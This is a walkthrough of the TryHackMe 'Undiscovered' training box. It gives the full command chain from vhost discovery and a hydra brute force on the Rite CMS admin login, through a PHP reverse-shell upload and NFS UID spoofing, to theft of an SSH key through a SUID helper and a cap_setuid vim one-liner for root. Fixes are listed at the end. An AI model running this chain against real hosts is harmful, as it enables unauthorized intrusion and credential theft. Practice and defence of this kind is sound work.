Undiscovered
A bland port 80 hides a vhost running Rite CMS behind a weak admin password; an authenticated PHP upload gives www-data, an NFS root_squash export is abused to spoof a user, a SUID helper leaks another user's SSH key, and cap_setuid on vim.basic finishes the box as root.
A walkthrough of the “Undiscovered” room from TryHackMe — a Linux box. A forgettable port 80 hides everything: virtual-host fuzzing turns up a deliver. subdomain running *Rite CMS**, whose admin panel falls to a password guess. An authenticated PHP upload gives* www-data**, an NFS root_squash export is abused to spoof the user william**, a SUID helper leaks leonard**’s SSH key, and the Linux capability cap_setuid on vim.basic hands over root.
Undiscovered is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. The brute-forced password, the recovered SSH key, and both flags are shown as
<redacted>/THM{<redacted>}— real on the box, withheld here.
TL;DR
TL;DR
Port 80 is a dead end, but virtual-host fuzzing reveals deliver.undiscovered.thm → /cms runs Rite CMS → brute-force the admin login with hydra → an authenticated PHP file upload to /media/shell.php → reverse shell as www-data → /etc/exports shows /home/william *(rw,root_squash) → mount the NFS share and create a local william (uid 3003) to own the files → write ~/.ssh/authorized_keys and SSH in as william (user flag) → a SUID helper script runs /bin/cat /home/leonard/<arg> as leonard, so read leonard’s id_rsa → SSH as leonard → getcap shows /usr/bin/vim.basic = cap_setuid+ep → a GTFOBins one-liner → root.
The target
export IP=<target-ip>
export ATTACKER_IP=<your-ip>
rustscan/nmap shows three things worth noting — SSH, a plain Apache, and NFS:
22/tcp open ssh OpenSSH 7.2p2 (Ubuntu)
80/tcp open http Apache httpd 2.4.18 (Ubuntu)
111/tcp open rpcbind
2049/tcp open nfs 2-4 (RPC #100003)
Port 80 has no title and nothing useful; gobuster finds only /images. The box name is the hint — the interesting content is undiscovered, i.e. sitting on another virtual host.
The vulnerability
The entry point is Rite CMS protected by nothing but a guessable admin password, paired with an admin feature that lets you upload a PHP file the server will execute. Everything after that is a chain of host-level trust mistakes: an NFS export that squashes root but still trusts your UID, a SUID helper that reads files as another user, and a dangerous Linux capability on an editor.
Insight
Web path bugs aren’t the only “it trusts the client” flaw. NFS with root_squash still trusts the UID you present. If an export is rw and a file is owned by uid 3003, you just become uid 3003 on your own machine, mount the share, and the file is yours — no exploit, just a local useradd.
Step 1 — virtual-host discovery → Rite CMS
gobuster vhost -w .../subdomains-top1million-110000.txt \
-u http://undiscovered.thm/ --append-domain --exclude-length 42 | grep 200
# ... deliver.undiscovered.thm (the one host that looks different)
echo "$IP deliver.undiscovered.thm" | sudo tee -a /etc/hosts
gobuster dir -u http://deliver.undiscovered.thm/ -w /usr/share/wordlists/dirb/big.txt
# /cms /data /files /media /templates -> Rite CMS
Step 2 — brute-force the admin login
The Rite CMS admin lives at /cms/index.php. The login has no lockout, so hydra grinds it out:
hydra -l admin -P rockyou.txt deliver.undiscovered.thm \
http-post-form "/cms/index.php:username=admin&userpw=^PASS^:User unknown or password wrong"
# [80][http-post-form] login: admin password: <redacted>
Step 3 — authenticated PHP upload → www-data
Logged in as admin, the CMS media manager happily accepts a .php file. Upload a PHP reverse shell and browse to it:
# upload shell.php through the Rite CMS admin, then:
curl http://deliver.undiscovered.thm/media/shell.php # fires the reverse shell
nc -lvnp 4444
# uid=33(www-data) gid=33(www-data)
Stabilise the shell (python3 -c 'import pty;pty.spawn("/bin/bash")', then stty raw -echo; fg).
Step 4 — NFS root_squash → user william
cat /etc/exports
# /home/william *(rw,root_squash)
grep william /etc/passwd
# william:x:3003:3003::/home/william:/bin/bash
The export is read/write and root_squash only neuters root — it still honours whatever UID you present. Mount it, become uid 3003 locally, and the files are yours:
sudo mount -t nfs $IP:/home/william ./mnt
sudo useradd -u 3003 -d /dev/shm william # match the box's uid
sudo su william
cat mnt/user.txt # THM{<redacted>}
Drop an SSH key into the share for an interactive shell as william:
ssh-keygen -f william
mkdir mnt/.ssh && cat william.pub > mnt/.ssh/authorized_keys
ssh -i william william@$IP
Step 5 — SUID helper → read leonard’s SSH key
william’s home holds a SUID binary, script. Tracing it shows that, given an argument, it runs /bin/cat /home/leonard/<arg> as leonard — an arbitrary file read into another user’s home:
ltrace ./script # system("./admin.sh") with no arg
./script test # /bin/cat: /home/leonard/test: No such file or directory
./script .ssh/id_rsa # dumps leonard's PRIVATE KEY (<redacted>)
Save the key and log in as leonard:
chmod 600 id_rsa
ssh -i id_rsa leonard@$IP
Step 6 — cap_setuid on vim.basic → root
leonard’s .viminfo is full of :py os.setuid(0) attempts — a loud hint. Check Linux capabilities:
getcap -r / 2>/dev/null
# /usr/bin/vim.basic = cap_setuid+ep
cap_setuid+ep lets vim.basic call setuid(0) itself — no SUID bit required. The GTFOBins one-liner drops a root shell:
/usr/bin/vim.basic -c ':py3 import os;os.setuid(0);os.execl("/bin/sh","sh","-c","reset; exec sh")'
# id -> uid=0(root)
cat /root/root.txt # THM{<redacted>}
Impact
Critical
Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). A guessable CMS password plus an unrestricted PHP upload yields remote code execution as www-data. From there a writable root_squash NFS export, a SUID file-read helper, and a cap_setuid capability each escalate privilege, ending in full root on the host. Every privesc rung is a configuration or permission mistake — not a memory-corruption exploit — so the whole chain is cheap, reliable, and scriptable.
Recommended fix
Fix
- Protect the CMS login: a strong, unique admin password, rate-limiting/lockout, and MFA. Brute force should never win.
- Never allow executable uploads. Restrict upload types, store uploads outside the web root, and disable PHP execution in upload directories.
- Harden NFS: export read-only where possible, use
all_squashwith a fixed anon UID, restrict to trusted hosts, and never trust client-supplied UIDs for sensitive data. - Remove the SUID helper or drop its privileges; never
catan attacker-controlled path as another user. - Strip dangerous capabilities:
cap_setuid+epon an editor is equivalent to a root shell. Audit withgetcap -r /.
Takeaways
- The box name was the clue. When port 80 is empty, fuzz virtual hosts — the real app is often one
Host:header away. root_squashis not access control. NFS trusts the UID you present; matching it locally is all it takes.- File-read helpers leak secrets. A SUID binary that reads another user’s files is a finder for SSH keys.
- Capabilities are silent SUID.
getcap -r /belongs in every Linux privesc checklist —cap_setuidonvim,python, orperlis game over.
Undiscovered rewards patient enumeration and a solid grasp of Linux privilege mechanics. Thanks for reading.